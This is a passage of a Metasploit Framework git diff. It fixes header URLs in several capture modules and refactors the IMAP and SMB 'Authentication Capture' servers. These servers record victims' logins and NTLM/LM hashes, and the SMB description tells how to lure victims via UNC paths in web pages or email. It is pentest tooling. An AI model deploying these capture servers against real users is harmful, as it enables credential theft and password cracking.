This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/server/capture/http_javascript_keylogger.rb b/modules/auxiliary/server/capture/http_javascript_keylogger.rb index cccca6818a..1423e12f51 100644 --- a/modules/auxiliary/server/capture/http_javascript_keylogger.rb +++ b/modules/auxiliary/server/capture/http_javascript_keylogger.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/server/capture/http_ntlm.rb b/modules/auxiliary/server/capture/http_ntlm.rb index d6fbad9613..f5187da219 100644 --- a/modules/auxiliary/server/capture/http_ntlm.rb +++ b/modules/auxiliary/server/capture/http_ntlm.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/server/capture/imap.rb b/modules/auxiliary/server/capture/imap.rb index 0600f1a51b..843ef0580b 100644 --- a/modules/auxiliary/server/capture/imap.rb +++ b/modules/auxiliary/server/capture/imap.rb @@ -1,18 +1,16 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' - class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::TcpServer include Msf::Auxiliary::Report - def initialize super( 'Name' => 'Authentication Capture: IMAP', @@ -56,11 +54,11 @@ class Metasploit3 < Msf::Auxiliary def on_client_data(c) data = c.get_once - return if not data - num,cmd,arg = data.strip.split(/\s+/, 3) + return unless data + num, cmd, arg = data.strip.split(/\s+/, 3) arg ||= "" - if(cmd.upcase == "CAPABILITY") + if cmd.upcase == 'CAPABILITY' c.put "* CAPABILITY IMAP4 IMAP4rev1 IDLE LOGIN-REFERRALS " + "MAILBOX-REFERRALS NAMESPACE LITERAL+ UIDPLUS CHILDREN UNSELECT " + "QUOTA XLIST XYZZY LOGIN-REFERRALS AUTH=XYMCOOKIE AUTH=XYMCOOKIEB64 " + @@ -68,38 +66,26 @@ class Metasploit3 < Msf::Auxiliary c.put "#{num} OK CAPABILITY completed.\r\n" end - if(cmd.upcase == "AUTHENTICATE" and arg.upcase == "XYMPKI") + # Handle attempt to authenticate using Yahoo's magic cookie + # Used by iPhones and Zimbra + if cmd.upcase == 'AUTHENTICATE' && arg.upcase == 'XYMPKI' c.put "+ \r\n" cookie1 = c.get_once c.put "+ \r\n" cookie2 = c.get_once - report_auth_info( - :host => @state[c][:ip], - :sname => 'imap-yahoo', - :port => datastore['SRVPORT'], - :source_type => "captured", - :user => cookie1, - :pass => cookie2 - ) + register_creds(@state[c][:ip], cookie1, cookie2, 'imap-yahoo') return end - if(cmd.upcase == "LOGIN") + if cmd.upcase == 'LOGIN' @state[c][:user], @state[c][:pass] = arg.split(/\s+/, 2) - report_auth_info( - :host => @state[c][:ip], - :port => datastore['SRVPORT'], - :sname => 'imap', - :user => @state[c][:user], - :pass => @state[c][:pass], - :active => true - ) + register_creds(@state[c][:ip], @state[c][:user], @state[c][:pass], 'imap') print_status("IMAP LOGIN #{@state[c][:name]} #{@state[c][:user]} / #{@state[c][:pass]}") return end - if(cmd.upcase == "LOGOUT") + if cmd.upcase == 'LOGOUT' c.put("* BYE IMAP4rev1 Server logging out\r\n") c.put("#{num} OK LOGOUT completed\r\n") return @@ -108,12 +94,43 @@ class Metasploit3 < Msf::Auxiliary @state[c][:pass] = data.strip c.put "#{num} NO LOGIN FAILURE\r\n" return - end def on_client_close(c) @state.delete(c) end + def register_creds(client_ip, user, pass, service_name) + # Build service information + service_data = { + address: client_ip, + port: datastore['SRVPORT'], + service_name: service_name, + protocol: 'tcp', + workspace_id: myworkspace_id + } + # Build credential information + credential_data = { + origin_type: :service, + module_fullname: self.fullname, + private_data: pass, + private_type: :password, + username: user, + workspace_id: myworkspace_id + } + + credential_data.merge!(service_data) + credential_core = create_credential(credential_data) + + # Assemble the options hash for creating the Metasploit::Credential::Login object + login_data = { + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED, + workspace_id: myworkspace_id + } + + login_data.merge!(service_data) + create_credential_login(login_data) + end end diff --git a/modules/auxiliary/server/capture/mssql.rb b/modules/auxiliary/server/capture/mssql.rb index bdcd8542fd..be39fffabe 100644 --- a/modules/auxiliary/server/capture/mssql.rb +++ b/modules/auxiliary/server/capture/mssql.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/server/capture/mysql.rb b/modules/auxiliary/server/capture/mysql.rb index 24c8b08f4b..82d13dc22a 100644 --- a/modules/auxiliary/server/capture/mysql.rb +++ b/modules/auxiliary/server/capture/mysql.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/server/capture/pop3.rb b/modules/auxiliary/server/capture/pop3.rb index 0dc8e239cd..2a6b348efc 100644 --- a/modules/auxiliary/server/capture/pop3.rb +++ b/modules/auxiliary/server/capture/pop3.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/server/capture/postgresql.rb b/modules/auxiliary/server/capture/postgresql.rb index a726bfe2af..2ba5857eff 100644 --- a/modules/auxiliary/server/capture/postgresql.rb +++ b/modules/auxiliary/server/capture/postgresql.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/server/capture/printjob_capture.rb b/modules/auxiliary/server/capture/printjob_capture.rb index f0739335af..8c08bf33d4 100644 --- a/modules/auxiliary/server/capture/printjob_capture.rb +++ b/modules/auxiliary/server/capture/printjob_capture.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/server/capture/sip.rb b/modules/auxiliary/server/capture/sip.rb index 3f61aaa865..185ae0466d 100644 --- a/modules/auxiliary/server/capture/sip.rb +++ b/modules/auxiliary/server/capture/sip.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/server/capture/smb.rb b/modules/auxiliary/server/capture/smb.rb index d340a28d59..75c46ef0f9 100644 --- a/modules/auxiliary/server/capture/smb.rb +++ b/modules/auxiliary/server/capture/smb.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -13,53 +13,66 @@ class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::SMBServer def initialize - super( - 'Name' => 'Authentication Capture: SMB', - 'Description' => %q{ - This module provides a SMB service that can be used to - capture the challenge-response password hashes of SMB client - systems. Responses sent by this service have by default the - configurable challenge string (\x11\x22\x33\x44\x55\x66\x77\x88), - allowing for easy cracking using Cain & Abel, L0phtcrack - or John the ripper (with jumbo patch). + super({ + 'Name' => 'Authentication Capture: SMB', + 'Description' => %q{ + This module provides a SMB service that can be used to capture the + challenge-response password hashes of SMB client systems. Responses + sent by this service have by default the configurable challenge string + (\x11\x22\x33\x44\x55\x66\x77\x88), allowing for easy cracking using + Cain & Abel, L0phtcrack or John the ripper (with jumbo patch). - To exploit this, the target system must try to authenticate - to this module. The easiest way to force a SMB authentication attempt - is by embedding a UNC path (\\\\SERVER\\SHARE) into a web page or - email message. When the victim views the web page or email, their - system will automatically connect to the server specified in the UNC - share (the IP address of the system running this module) and attempt - to authenticate. + To exploit this, the target system must try to authenticate to this + module. One way to force an SMB authentication attempt is by embedding + a UNC path (\\\\SERVER\\SHARE) into a web page or email message. When + the victim views the web page or email, their system will + automatically connect to the server specified in the UNC share (the IP + address of the system running this module) and attempt to + authenticate. Another option is using auxiliary/spoof/{nbns,llmnr} to + respond to queries for names the victim is already looking for. }, - 'Author' => 'hdm', - 'License' => MSF_LICENSE, - 'Actions' => - [ - [ 'Sniffer' ] - ], - 'PassiveActions' => - [ - 'Sniffer' - ], - 'DefaultAction' => 'Sniffer' - ) + 'Author' => 'hdm', + 'License' => MSF_LICENSE, + 'Actions' => [ [ 'Sniffer' ] ], + 'PassiveActions' => [ 'Sniffer' ], + 'DefaultAction' => 'Sniffer' + }) register_options( [ - #OptString.new('LOGFILE', [ false, "The local filename to store the captured hashes", nil ]), OptString.new('CAINPWFILE', [ false, "The local filename to store the hashes in Cain&Abel format", nil ]), - OptString.new('JOHNPWFILE', [ false, "The prefix to the local filename to store the hashes in JOHN format", nil ]), - OptString.new('CHALLENGE', [ true, "The 8 byte challenge ", "1122334455667788" ]) + OptString.new('JOHNPWFILE', [ false, "The prefix to the local filename to store the hashes in John format", nil ]), + OptString.new('CHALLENGE', [ true, "The 8 byte server challenge", "1122334455667788" ]) ], self.class ) register_advanced_options( [ - OptBool.new("SMB_EXTENDED_SECURITY", [ true, "Use smb extended security negotiation, when set client will use ntlmssp, if not then client will use classic lanman authentification", false ]), - OptBool.new("NTLM_UseNTLM2_session", [ true, "Activate the 'negotiate NTLM2 key' flag in NTLM authentication. " + - "When SMB extended security negotiate is set, client will use ntlm2_session instead of ntlmv1 (default on win 2K and above)", false ]), - OptBool.new("USE_GSS_NEGOTIATION", [ true, "Send a gss_security blob in smb_negotiate response when SMB extended security is set. " + - "When this flag is not set, Windows will respond without gss encapsulation, Ubuntu will still use gss.", true ]), - OptString.new('DOMAIN_NAME', [ true, "The domain name used during smb exchange with smb extended security set ", "anonymous" ]) + OptBool.new("SMB_EXTENDED_SECURITY", + [ true, + "Use smb extended security negotiation, when set client will use " \ + "ntlmssp, if not then client will use classic lanman " \ + "authentification", + false + ]), + OptBool.new("NTLM_UseNTLM2_session", + [ true, + "Activate the 'negotiate NTLM2 key' flag in NTLM authentication. " \ + "When SMB_EXTENDED_SECURITY negotiate is set, client will use " \ + "ntlm2_session instead of ntlmv1 (default on win 2K and above)", + false + ]), + OptBool.new("USE_GSS_NEGOTIATION", + [ true, + "Send a gss_security blob in smb_negotiate response when SMB " \ + "extended security is set. When this flag is not set, Windows will " \ + "respond without gss encapsulation, Ubuntu will still use gss.", + true + ]), + OptString.new('DOMAIN_NAME', + [ true, + "The domain name used during smb exchange with SMB_EXTENDED_SECURITY set.", + "anonymous" + ]) ], self.class) end @@ -81,7 +94,7 @@ class Metasploit3 < Msf::Auxiliary #those variables will prevent to spam the screen with identical hashes (works only with ntlmv1) @previous_lm_hash="none" @previous_ntlm_hash="none" - exploit() + exploit end def smb_cmd_dispatch(cmd, c, buff) @@ -97,7 +110,7 @@ class Metasploit3 < Msf::Auxiliary case cmd when CONST::SMB_COM_NEGOTIATE #client set extended security negotiation - if (pkt['Payload']['SMB'].v['Flags2'] & 0x800 != 0) + if pkt['Payload']['SMB'].v['Flags2'] & 0x800 != 0 smb_cmd_negotiate(c, buff, true) else smb_cmd_negotiate(c, buff, false) @@ -109,18 +122,18 @@ class Metasploit3 < Msf::Auxiliary #CIFS SMB_COM_SESSION_SETUP_ANDX request without smb extended security #This packet contains the lm/ntlm hashes if wordcount == 0x0D - smb_cmd_session_setup(c, buff, false) - #CIFS SMB_COM_SESSION_SETUP_ANDX request with smb extended security - # can be of type NTLMSS_NEGOCIATE or NTLMSSP_AUTH, + smb_cmd_session_setup(c, buff) + #CIFS SMB_COM_SESSION_SETUP_ANDX request with smb extended security + # can be of type NTLMSS_NEGOCIATE or NTLMSSP_AUTH, elsif wordcount == 0x0C - smb_cmd_session_setup(c, buff, true) + smb_cmd_session_setup_with_esn(c, buff) else print_status("SMB Capture - #{smb[:ip]} Unknown SMB_COM_SESSION_SETUP_ANDX request type , ignoring... ") smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS, @s_smb_esn) end - when CONST::SMB_COM_TREE_CONNECT + print_status("SMB Capture - Denying tree connect from #{smb[:name]} - #{smb[:ip]}") smb_error(cmd, c, SMB_SMB_STATUS_ACCESS_DENIED, @s_smb_esn) @@ -136,13 +149,6 @@ class Metasploit3 < Msf::Auxiliary pkt = CONST::SMB_NEG_PKT.make_struct pkt.from_s(buff) - #Record the IDs - smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID'] - smb[:user_id] = pkt['Payload']['SMB'].v['UserID'] - smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID'] - smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID'] - - group = '' machine = smb[:nbsrc] @@ -172,13 +178,13 @@ class Metasploit3 < Msf::Auxiliary pkt['Payload'].v['ServerTimeZone'] = 0x0 pkt['Payload'].v['SessionKey'] = 0 - if c_esn && @s_smb_esn then + if c_esn && @s_smb_esn pkt['Payload']['SMB'].v['Flags2'] = 0xc801 pkt['Payload'].v['Capabilities'] = 0x8000e3fd pkt['Payload'].v['KeyLength'] = 0 pkt['Payload'].v['Payload'] = @s_GUID - if @s_gss_neg then + if @s_gss_neg pkt['Payload'].v['Payload'] += NTLM_UTILS::make_simple_negotiate_secblob_resp end @@ -194,375 +200,375 @@ class Metasploit3 < Msf::Auxiliary c.put(pkt.to_s) end - def smb_cmd_session_setup(c, buff, esn) + def smb_cmd_session_setup(c, buff) smb = @state[c] - #extended security has been negotiated - if esn - pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct - pkt.from_s(buff) + pkt = CONST::SMB_SETUP_NTLMV1_PKT.make_struct + pkt.from_s(buff) - #Record the IDs - smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID'] - smb[:user_id] = pkt['Payload']['SMB'].v['UserID'] - smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID'] - smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID'] - securityblobLen = pkt['Payload'].v['SecurityBlobLen'] - blob = pkt['Payload'].v['Payload'][0,securityblobLen] + lm_len = pkt['Payload'].v['PasswordLenLM'] # Always 24 + nt_len = pkt['Payload'].v['PasswordLenNT'] - #detect if GSS is being used - if blob[0,7] == 'NTLMSSP' - c_gss = false - else - c_gss = true - start = blob.index('NTLMSSP') - if start - blob.slice!(0,start) - else - print_status("SMB Capture - Error finding NTLM in SMB_COM_SESSION_SETUP_ANDX request from #{smb[:name]} - #{smb[:ip]}, ignoring ...") - smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) - return - end - - - end - ntlm_message = NTLM_MESSAGE::parse(blob) - - case ntlm_message - when NTLM_MESSAGE::Type1 - #Send Session Setup AndX Response NTLMSSP_CHALLENGE response packet - - if (ntlm_message.flag & NTLM_CONST::NEGOTIATE_NTLM2_KEY != 0) - c_ntlm_esn = true - else - c_ntlm_esn = false - end - pkt = CONST::SMB_SETUP_NTLMV2_RES_PKT.make_struct - pkt.from_s(buff) - smb_set_defaults(c, pkt) - - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX - pkt['Payload']['SMB'].v['ErrorClass'] = CONST::SMB_STATUS_MORE_PROCESSING_REQUIRED - pkt['Payload']['SMB'].v['Flags1'] = 0x88 - pkt['Payload']['SMB'].v['Flags2'] = 0xc807 - pkt['Payload']['SMB'].v['WordCount'] = 4 - pkt['Payload']['SMB'].v['UserID'] = 2050 - pkt['Payload'].v['AndX'] = 0xFF - pkt['Payload'].v['Reserved1'] = 0x00 - pkt['Payload'].v['AndXOffset'] = 283 #ignored by client - pkt['Payload'].v['Action'] = 0x0000 - - win_domain = Rex::Text.to_unicode(@domain_name.upcase) - win_name = Rex::Text.to_unicode(@domain_name.upcase) - dns_domain = Rex::Text.to_unicode(@domain_name.downcase) - dns_name = Rex::Text.to_unicode(@domain_name.downcase) - - #create the ntlmssp_challenge security blob - if c_ntlm_esn && @s_ntlm_esn - sb_flag = 0xe28a8215 # ntlm2 - else - sb_flag = 0xe2828215 #no ntlm2 - end - if c_gss - securityblob = NTLM_UTILS::make_ntlmssp_secblob_chall( win_domain, - win_name, - dns_domain, - dns_name, - @challenge, - sb_flag) - else - securityblob = NTLM_UTILS::make_ntlmssp_blob_chall( win_domain, - win_name, - dns_domain, - dns_name, - @challenge, - sb_flag) - end - pkt['Payload'].v['SecurityBlobLen'] = securityblob.length - pkt['Payload'].v['Payload'] = securityblob - - - c.put(pkt.to_s) - - when NTLM_MESSAGE::Type3 - #we can process the hash and send a status_logon_failure response packet - - # Record the remote multiplex ID - smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID'] - lm_len = ntlm_message.lm_response.length # Always 24 - nt_len = ntlm_message.ntlm_response.length - - if nt_len == 24 #lmv1/ntlmv1 or ntlm2_session - arg = { :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, - :lm_hash => ntlm_message.lm_response.unpack('H*')[0], - :nt_hash => ntlm_message.ntlm_response.unpack('H*')[0] - } - - if @s_ntlm_esn && arg[:lm_hash][16,32] == '0' * 32 - arg[:ntlm_ver] = NTLM_CONST::NTLM_2_SESSION_RESPONSE - end - #if the length of the ntlm response is not 24 then it will be bigger and represent - # a ntlmv2 response - elsif nt_len > 24 #lmv2/ntlmv2 - arg = { :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, - :lm_hash => ntlm_message.lm_response[0, 16].unpack('H*')[0], - :lm_cli_challenge => ntlm_message.lm_response[16, 8].unpack('H*')[0], - :nt_hash => ntlm_message.ntlm_response[0, 16].unpack('H*')[0], - :nt_cli_challenge => ntlm_message.ntlm_response[16, nt_len - 16].unpack('H*')[0] - } - elsif nt_len == 0 - print_status("SMB Capture - Empty hash from #{smb[:name]} - #{smb[:ip]} captured, ignoring ... ") - smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) - return - else - print_status("SMB Capture - Unknown hash type from #{smb[:name]} - #{smb[:ip]}, ignoring ...") - smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) - return - end - - buff = pkt['Payload'].v['Payload'] - buff.slice!(0,securityblobLen) - names = buff.split("\x00\x00").map { |x| x.gsub(/\x00/, '') } - - smb[:username] = ntlm_message.user - smb[:domain] = ntlm_message.domain - smb[:peer_os] = names[0] - smb[:peer_lm] = names[1] - - begin - smb_get_hash(smb,arg,true) - rescue ::Exception => e - print_error("SMB Capture - Error processing Hash from #{smb[:name]} - #{smb[:ip]} : #{e.class} #{e} #{e.backtrace}") - end - - smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) - - else - smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) - end - - #if not we can get the hash and send a status_access_denied response packet + if nt_len == 24 + arg = { + :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, + :lm_hash => pkt['Payload'].v['Payload'][0, lm_len].unpack("H*")[0], + :nt_hash => pkt['Payload'].v['Payload'][lm_len, nt_len].unpack("H*")[0] + } + # if the length of the ntlm response is not 24 then it will be bigger + # and represent an NTLMv2 response + elsif nt_len > 24 + arg = { + :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, + :lm_hash => pkt['Payload'].v['Payload'][0, 16].unpack("H*")[0], + :lm_cli_challenge => pkt['Payload'].v['Payload'][16, 8].unpack("H*")[0], + :nt_hash => pkt['Payload'].v['Payload'][lm_len, 16].unpack("H*")[0], + :nt_cli_challenge => pkt['Payload'].v['Payload'][lm_len + 16, nt_len - 16].unpack("H*")[0] + } + elsif nt_len == 0 + print_status("SMB Capture - Empty hash captured from #{smb[:name]} - #{smb[:ip]} captured, ignoring ... ") + smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) + return else + print_status("SMB Capture - Unknown hash type capture from #{smb[:name]} - #{smb[:ip]}, ignoring ...") + smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) + return + end - pkt = CONST::SMB_SETUP_NTLMV1_PKT.make_struct + buff = pkt['Payload'].v['Payload'] + buff.slice!(0, lm_len + nt_len) + names = buff.split("\x00\x00").map { |x| x.gsub(/\x00/, '') } + + smb[:username] = names[0] + smb[:domain] = names[1] + smb[:peer_os] = names[2] + smb[:peer_lm] = names[3] + + begin + smb_get_hash(smb,arg,false) + rescue ::Exception => e + print_error("SMB Capture - Error processing Hash from #{smb[:name]} : #{e.class} #{e} #{e.backtrace}") + end + + smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) + + end + + def smb_cmd_session_setup_with_esn(c, buff) + smb = @state[c] + + pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct + pkt.from_s(buff) + + securityblobLen = pkt['Payload'].v['SecurityBlobLen'] + blob = pkt['Payload'].v['Payload'][0,securityblobLen] + + # detect if GSS is being used + if blob[0,7] == 'NTLMSSP' + c_gss = false + else + c_gss = true + start = blob.index('NTLMSSP') + if start + blob.slice!(0,start) + else + print_status("SMB Capture - Error finding NTLM in SMB_COM_SESSION_SETUP_ANDX request from #{smb[:name]} - #{smb[:ip]}, ignoring ...") + smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) + return + end + + end + ntlm_message = NTLM_MESSAGE::parse(blob) + + case ntlm_message + when NTLM_MESSAGE::Type1 + # Send Session Setup AndX Response NTLMSSP_CHALLENGE response packet + + if (ntlm_message.flag & NTLM_CONST::NEGOTIATE_NTLM2_KEY) != 0 + c_ntlm_esn = true + else + c_ntlm_esn = false + end + pkt = CONST::SMB_SETUP_NTLMV2_RES_PKT.make_struct pkt.from_s(buff) + smb_set_defaults(c, pkt) - # Record the IDs - smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID'] - smb[:user_id] = pkt['Payload']['SMB'].v['UserID'] - smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID'] + pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX + pkt['Payload']['SMB'].v['ErrorClass'] = CONST::SMB_STATUS_MORE_PROCESSING_REQUIRED + pkt['Payload']['SMB'].v['Flags1'] = 0x88 + pkt['Payload']['SMB'].v['Flags2'] = 0xc807 + pkt['Payload']['SMB'].v['WordCount'] = 4 + pkt['Payload']['SMB'].v['UserID'] = 2050 + pkt['Payload'].v['AndX'] = 0xFF + pkt['Payload'].v['Reserved1'] = 0x00 + pkt['Payload'].v['AndXOffset'] = 283 #ignored by client + pkt['Payload'].v['Action'] = 0x0000 + + win_domain = Rex::Text.to_unicode(@domain_name.upcase) + win_name = Rex::Text.to_unicode(@domain_name.upcase) + dns_domain = Rex::Text.to_unicode(@domain_name.downcase) + dns_name = Rex::Text.to_unicode(@domain_name.downcase) + + # create the ntlmssp_challenge security blob + if c_ntlm_esn && @s_ntlm_esn + sb_flag = 0xe28a8215 # ntlm2 + else + sb_flag = 0xe2828215 # no ntlm2 + end + if c_gss + securityblob = NTLM_UTILS::make_ntlmssp_secblob_chall( + win_domain, + win_name, + dns_domain, + dns_name, + @challenge, + sb_flag + ) + else + securityblob = NTLM_UTILS::make_ntlmssp_blob_chall( + win_domain, + win_name, + dns_domain, + dns_name, + @challenge, + sb_flag + ) + end + pkt['Payload'].v['SecurityBlobLen'] = securityblob.length + pkt['Payload'].v['Payload'] = securityblob + + c.put(pkt.to_s) + + when NTLM_MESSAGE::Type3 + #we can process the hash and send a status_logon_failure response packet + + # Record the remote multiplex ID smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID'] + lm_len = ntlm_message.lm_response.length # Always 24 + nt_len = ntlm_message.ntlm_response.length - lm_len = pkt['Payload'].v['PasswordLenLM'] # Always 24 - nt_len = pkt['Payload'].v['PasswordLenNT'] - - - if nt_len == 24 - arg = { :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, - :lm_hash => pkt['Payload'].v['Payload'][0, lm_len].unpack("H*")[0], - :nt_hash => pkt['Payload'].v['Payload'][lm_len, nt_len].unpack("H*")[0] + if nt_len == 24 # lmv1/ntlmv1 or ntlm2_session + arg = { + :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, + :lm_hash => ntlm_message.lm_response.unpack('H*')[0], + :nt_hash => ntlm_message.ntlm_response.unpack('H*')[0] } - #if the length of the ntlm response is not 24 then it will be bigger and represent - # a ntlmv2 response - elsif nt_len > 24 - arg = { :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, - :lm_hash => pkt['Payload'].v['Payload'][0, 16].unpack("H*")[0], - :lm_cli_challenge => pkt['Payload'].v['Payload'][16, 8].unpack("H*")[0], - :nt_hash => pkt['Payload'].v['Payload'][lm_len, 16].unpack("H*")[0], - :nt_cli_challenge => pkt['Payload'].v['Payload'][lm_len + 16, nt_len - 16].unpack("H*")[0] + + if @s_ntlm_esn && arg[:lm_hash][16,32] == '0' * 32 + arg[:ntlm_ver] = NTLM_CONST::NTLM_2_SESSION_RESPONSE + end + # if the length of the ntlm response is not 24 then it will be + # bigger and represent an NTLMv2 response + elsif nt_len > 24 # lmv2/ntlmv2 + arg = { + :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, + :lm_hash => ntlm_message.lm_response[0, 16].unpack('H*')[0], + :lm_cli_challenge => ntlm_message.lm_response[16, 8].unpack('H*')[0], + :nt_hash => ntlm_message.ntlm_response[0, 16].unpack('H*')[0], + :nt_cli_challenge => ntlm_message.ntlm_response[16, nt_len - 16].unpack('H*')[0] } elsif nt_len == 0 - print_status("SMB Capture - Empty hash captured from #{smb[:name]} - #{smb[:ip]} captured, ignoring ... ") + print_status("SMB Capture - Empty hash from #{smb[:name]} - #{smb[:ip]} captured, ignoring ... ") smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) return else - print_status("SMB Capture - Unknown hash type capture from #{smb[:name]} - #{smb[:ip]}, ignoring ...") + print_status("SMB Capture - Unknown hash type from #{smb[:name]} - #{smb[:ip]}, ignoring ...") smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) return end buff = pkt['Payload'].v['Payload'] - buff.slice!(0, lm_len + nt_len) + buff.slice!(0,securityblobLen) names = buff.split("\x00\x00").map { |x| x.gsub(/\x00/, '') } - smb[:username] = names[0] - smb[:domain] = names[1] - smb[:peer_os] = names[2] - smb[:peer_lm] = names[3] + smb[:username] = ntlm_message.user + smb[:domain] = ntlm_message.domain + smb[:peer_os] = names[0] + smb[:peer_lm] = names[1] begin - smb_get_hash(smb,arg,false) - + smb_get_hash(smb,arg,true) rescue ::Exception => e - print_error("SMB Capture - Error processing Hash from #{smb[:name]} : #{e.class} #{e} #{e.backtrace}") + print_error("SMB Capture - Error processing Hash from #{smb[:name]} - #{smb[:ip]} : #{e.class} #{e} #{e.backtrace}") end - smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) - + else + smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) end end + def smb_get_hash(smb, arg = {}, esn=true) ntlm_ver = arg[:ntlm_ver] - if ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE or ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE - lm_hash = arg[:lm_hash] - nt_hash = arg[:nt_hash] - else - lm_hash = arg[:lm_hash] - nt_hash = arg[:nt_hash] - lm_cli_challenge = arg[:lm_cli_challenge] - nt_cli_challenge = arg[:nt_cli_challenge] - end + + lm_hash = arg[:lm_hash] + nt_hash = arg[:nt_hash] + + # These are not used for NTLM_V1_RESPONSE or NTLM_2_SESSION_RESPONSE, so + # it's fine if they're nil + lm_cli_challenge = arg[:lm_cli_challenge] + nt_cli_challenge = arg[:nt_cli_challenge] # Clean up the data for logging - if (smb[:username] == "") + if smb[:username] == "" smb[:username] = nil end - if (smb[:domain] == "") + if smb[:domain] == "" smb[:domain] = nil end - unless @previous_lm_hash == lm_hash and @previous_ntlm_hash == nt_hash then + # Check if we have default values (empty pwd, null hashes, ...) and adjust + # the on-screen messages correctly + case ntlm_ver + when NTLM_CONST::NTLM_V1_RESPONSE + if NTLM_CRYPT::is_hash_from_empty_pwd?( + { + :hash => [nt_hash].pack("H*"), + :srv_challenge => @challenge, + :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, + :type => 'ntlm' + } + ) + print_status("SMB Capture - NLMv1 Hash correspond to an empty password, ignoring ... #{smb[:ip]}") + return + end + if lm_hash == nt_hash or lm_hash == "" or lm_hash =~ /^0*$/ + lm_hash_message = "Disabled" + elsif NTLM_CRYPT::is_hash_from_empty_pwd?( + { + :hash => [lm_hash].pack("H*"), + :srv_challenge => @challenge, + :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, + :type => 'lm' + } + ) + lm_hash_message = "Disabled (from empty password)" + else + lm_hash_message = lm_hash + lm_chall_message = lm_cli_challenge + end + when 